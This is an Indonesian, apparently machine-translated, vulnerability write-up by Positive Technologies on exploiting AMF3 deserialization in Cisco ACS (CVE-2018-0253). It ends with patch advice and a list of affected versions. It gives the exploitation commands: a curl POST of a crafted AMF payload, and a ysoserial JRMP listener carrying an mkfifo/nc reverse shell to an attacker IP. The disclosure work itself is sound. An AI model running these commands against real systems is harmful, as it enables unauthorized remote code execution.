Protokol AMF3 Berbahaya

Baru-baru ini, Markus Wulftange dari Code White berbagi penelitian yang menarik tentang cara menyerang aplikasi web jika ditulis dalam Java dan menggunakan protokol AMF3. Protokol ini dapat ditemukan di mana Flash digunakan dan pertukaran data antara objek SWF dan bagian server dari aplikasi diperlukan. Protokol ini memungkinkan Anda untuk mentransfer objek serial dari tipe flash.utils.IExternalizable ke server. Objek sisi server ini adalah deserialized, terjadi konversi tipe, dan flash.utils.IExternalizable berubah menjadi java.io.Externalizable. Perlu dicatat bahwa kelas-kelas yang mengimplementasikan antarmuka ini sendiri sepenuhnya mengendalikan proses serialisasi dan deserialisasi mereka sendiri. Ini berarti bahwa Anda dapat mencoba menemukan kelas yang, ketika deserialized, akan mengeksekusi kode arbitrer.

Marcus memeriksa semua kelas dari OpenJDK 8u121 yang mengimplementasikan antarmuka java.io.Externalizable dan menemukan bahwa mereka menyertakan kelas sun.rmi.server.UnicastRef dan sun.rmi.server.UnicastRef2 terkait dengan mekanisme RMI. Jika Anda benar mempersiapkan objek dari salah satu kelas ini (menginisialisasi dengan tautan ke host penyerang), dan kemudian mentransfernya ke server rentan, server JVM akan mendaftarkan tautan LiveRef ke "objek jauh". Setelah itu, mekanisme pengumpulan sampah akan mencoba membuat koneksi JRMP dengan host yang ditentukan. Dan seperti yang Anda tahu, protokol JRMP melibatkan pertukaran objek Java serial. Ini dapat digunakan untuk melakukan serangan terkait deserialisasi.



CVE-2018-0253 atau cara kami meretas Cisco ACS


Sekali, selama salah satu pengujian kami, kami mendapat akses ke server Cisco ACS 5.8. Pada saat yang sama, kami memiliki kesempatan untuk terhubung ke server yang berfungsi melalui antarmuka web. Selama analisis antarmuka web, kami menemukan bahwa permintaan POST yang berisi objek AMF3 dikirim dari klien ke server.



Kemudian diketahui bahwa server menerima permintaan POST tersebut tanpa otorisasi

Header respons HTTP menunjukkan bahwa antarmuka web diimplementasikan di Jawa. Jadi, Anda bisa mencoba melakukan serangan.

Unduh eksploit asli dan ubah variabel host dan port. Saat mengkompilasi, Anda perlu memastikan bahwa CLASSPATH berisi path ke pustaka Apache BlazeDS. Menjalankan kode yang dikompilasi akan menghasilkan paket AMF: objek serial dari kelas UnicastRef, yang diinisialisasi dengan tautan LiveRef ke server kami.

javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload 

Kami mengirim permintaan HTTP yang berisi paket AMF yang dihasilkan ke Cisco ACS dan kami melihat upaya koneksi.

 curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP  Cisco ACS]/acsview/messagebroker/amfsecure 



Ini terjadi karena versi rentan dari perpustakaan Apache BlazeDS diinstal di server. Cisco ACS membongkar paket AMF, menghapus objek yang kami lewati, dan sekarang pengumpul sampah berusaha membuat koneksi JRMP ke server kami. Jika Anda menanggapi permintaan ini dengan objek RMI, Cisco ACS melakukan deserialisasi data yang diterima dan mengeksekusi kode kami.

Kami menggunakan utilitas ysoserial. Ini akan bertindak sebagai server JRMP: saat tersambung, klien akan menerima objek dari pustaka CommonsCollection1, di dalamnya ada kode untuk melakukan shell terbalik.

 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP   ] 80 >/tmp/f' 

Sekarang kami ulangi mengirim paket AMF dan mendapatkan shell terbalik:



Alih-alih sebuah kesimpulan


Kerentanan yang ditemukan memungkinkan penyerang tidak sah untuk menjalankan perintah sewenang-wenang dari pengguna yang memiliki hak istimewa. Pabrikan memberinya peringkat 9.8 pada skala CVSS . Kami menyarankan semua orang yang menggunakan perangkat lunak ini untuk menginstal tambalan terbaru.

Perangkat Lunak Rentan:

  • Cisco ACS <5.8.0.32.7 - rentan, otorisasi tidak diperlukan;
  • Cisco ACS 5.8.0.32.7, 5.8.0.32.8 - rentan, diperlukan otorisasi;
  • Dimulai dengan Cisco ACS 5.8.0.32.9 - kerentanan ditutup.

Penulis : Mikhail Klyuchnikov dan Yuri Aleinov, Positive Technologies

Source: https://habr.com/ru/post/id414657/


All Articles